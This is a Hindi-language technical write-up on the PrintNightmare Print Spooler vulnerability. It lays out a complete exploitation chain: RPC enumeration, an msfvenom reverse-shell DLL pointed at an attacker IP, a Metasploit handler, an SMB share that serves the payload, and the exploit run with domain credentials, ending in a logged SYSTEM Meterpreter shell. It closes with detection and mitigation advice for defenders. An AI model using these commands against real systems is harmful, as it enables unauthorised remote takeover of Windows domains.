
PrintNightmare (CVE-2021-1675 / CVE-2021-34527) का तकनीकी विवरण और विश्लेषण, जिसमें RCE/LPE शोषण, Windows इवेंट लॉग के माध्यम से पहचान, तथा Print Spooler के लिए शमन शामिल है।
रिपॉजिटरी में Windows Print Spooler सेवा में महत्वपूर्ण भेद्यता का विस्तृत तकनीकी विवरण (Write-up) और शोषण अवधारणा का विश्लेषण शामिल है, जो कम-विशेषाधिकार वाले डोमेन उपयोगकर्ता को अधिकतम सिस्टम विशेषाधिकारों के साथ दूरस्थ रूप से मनमाना कोड निष्पादित करने की अनुमति देती है।
🛑 चेतावनी और अस्वीकरण: यह सामग्री विशेष रूप से शैक्षिक उद्देश्यों और वैध सुरक्षा ऑडिट (Pentest) आयोजित करने के लिए तैयार की गई है। स्वामियों की पूर्व लिखित सहमति के बिना सिस्टम के विरुद्ध वर्णित तकनीकों का उपयोग कानून द्वारा दंडनीय है।
PrintNightmare परिवार की भेद्यताएँ Windows Server और Active Directory पर आधारित कॉर्पोरेट वातावरण के लिए एक गंभीर खतरा पैदा करती हैं। MS-RPRN (Print System Remote Protocol) और MS-PAR (Print System Asynchronous Remote Protocol) RPC इंटरफेस में अनुमति जाँच का स्थापत्य दोष किसी दूरस्थ सर्वर पर प्रिंटर ड्राइवर स्थापना का वैध रूप से अनुरोध करने की अनुमति देता है।
मुख्य खतरा इस तथ्य में निहित है कि प्रिंट स्पूलर सेवा (spoolsv.exe) डिफ़ॉल्ट रूप से अधिकांश सर्वरों पर सक्रिय रहती है, जिसमें डोमेन कंट्रोलर (Domain Controllers) शामिल हैं, और यह उच्चतम विशेषाधिकार NT AUTHORITY\SYSTEM के संदर्भ में चलती है। एक कम-विशेषाधिकार वाले खाते (जैसे फ़िशिंग के माध्यम से) से समझौता करने पर हमलावर तुरंत संपूर्ण Active Directory अवसंरचना पर पूर्ण नियंत्रण प्राप्त कर सकता है।
impacket (rpcdump, smbserver), msfvenom, Metasploit Framework, Python एक्सप्लॉइट।दूरस्थ कोड निष्पादन (RCE) वेक्टर को लागू करने के लिए न्यूनतम अधिकारों वाले वैध डोमेन उपयोगकर्ता क्रेडेंशियल आवश्यक हैं (अनुसंधान की शर्तों में प्रदान किए गए)।
spoolsv.exe) सक्रिय है और अधिकतम विशेषाधिकार SYSTEM के साथ चल रही है, जो अविश्वसनीय लाइब्रेरी लोड करके होस्ट पर स्थानीय विशेषाधिकार वृद्धि (LPE) का सीधा अवसर खोलती है।मुख्य एक्सप्लॉइट चलाने से पहले यह सुनिश्चित करना आवश्यक है कि दूरस्थ मशीन कमजोर प्रिंट प्रोटोकॉल प्रदान करती है और नेटवर्क संपर्क के लिए खुली है। हम लक्ष्य प्रणाली के RPC इंटरफेस का सर्वेक्षण करते हैं:
impacket-rpcdump @<TARGET_IP> | egrep 'MS-RPRN|MS-PAR'
नियंत्रित टर्मिनल आउटपुट:
Protocol: [MS-RPRN], Endpoint: [\pipe\spoolss]
Protocol: [MS-PAR], Endpoint: [\pipe\spoolss]
[MS-RPRN] और [MS-PAR] लौटाईं। यह 100% पुष्टि करता है कि सिस्टम आवश्यक दूरस्थ प्रिंटिंग इंटरफेस का समर्थन करता है और PrintNightmare वेक्टर के प्रति संवेदनशील है।हम x64 आर्किटेक्चर के लिए पेलोड बनाते हैं, जिसमें रिवर्स नेटवर्क कनेक्शन के लिए अपने हमलावर मशीन का IP पता निर्दिष्ट होता है:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f dll -o /tmp/malicious.dll
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST <ATTACKER_IP>; set LPORT 4444; run -j"
लक्षित Windows सर्वर के पास किसी तृतीय-पक्ष उपयोगिता के बिना नेटवर्क से हमारी DLL लाइब्रेरी डाउनलोड करने का वैध अवसर होना चाहिए। हम /tmp फ़ोल्डर से SMBv2 प्रोटोकॉल समर्थन वाला SMB सर्वर प्रारंभ करते हैं:
sudo impacket-smbserver tmp /tmp -smb2support
हम Python एक्सप्लॉइट स्क्रिप्ट चलाते हैं, उसे कम-विशेषाधिकार वाले डोमेन उपयोगकर्ता क्रेडेंशियल और हमारी स्थानीय SMB शेयर पर दुर्भावनापूर्ण लाइब्रेरी का UNC पथ प्रदान करते हैं:
python3 CVE-2021-1675.py <LOW_PRIV_USER>:<PASSWORD>@<TARGET_IP> '\\<ATTACKER_IP>\tmp\malicious.dll'
सफल सत्र अवरोधन लॉग (Metasploit):
[*] Started reverse TCP handler on <ATTACKER_IP>:4444
[*] Sending stage (200574 bytes) to <TARGET_IP>
[*] Meterpreter session 1 opened (<ATTACKER_IP>:4444 -> <TARGET_IP>:49321)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 3412 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1935]
(c) माइक्रोसॉफ्ट कॉर्पोरेशन। सर्वाधिकार सुरक्षित।
C:\Windows\system32> whoami
nt authority\system
NT AUTHORITY\SYSTEM के साथ Meterpreter सत्र खुल गया। लक्ष्य पूरी तरह से समझौता हो गया है।Blue Team विशेषज्ञों के लिए, PrintNightmare शोषण की पहचान Windows सिस्टम लॉग के ऑडिट और प्रक्रियाओं की असामान्य गतिविधि पर नज़र रखने पर आधारित है।
एक्सप्लॉइट का सफल निष्पादन प्रिंट और सिस्टम लॉग में विशिष्ट प्रविष्टियाँ छोड़ता है:
C:\Windows\System32\spool\drivers\x64\3\ पथों से)।cmd.exe, powershell.exe) या डेटा संग्रह उपयोगिताओं की उपस्थिति, जिनका पैरेंट सिस्टम प्रक्रिया प्रिंट स्पूलर spoolsv.exe हो। वैध परिस्थितियों में spoolsv.exe कभी भी कमांड शेल उत्पन्न नहीं करता।spoolsv.exe प्रक्रिया द्वारा बाहरी SMB संसाधनों (पोर्ट 445) के लिए आउटगोइंग नेटवर्क कनेक्शन स्थापित करना।Disabled मोड में रखा जाना चाहिए।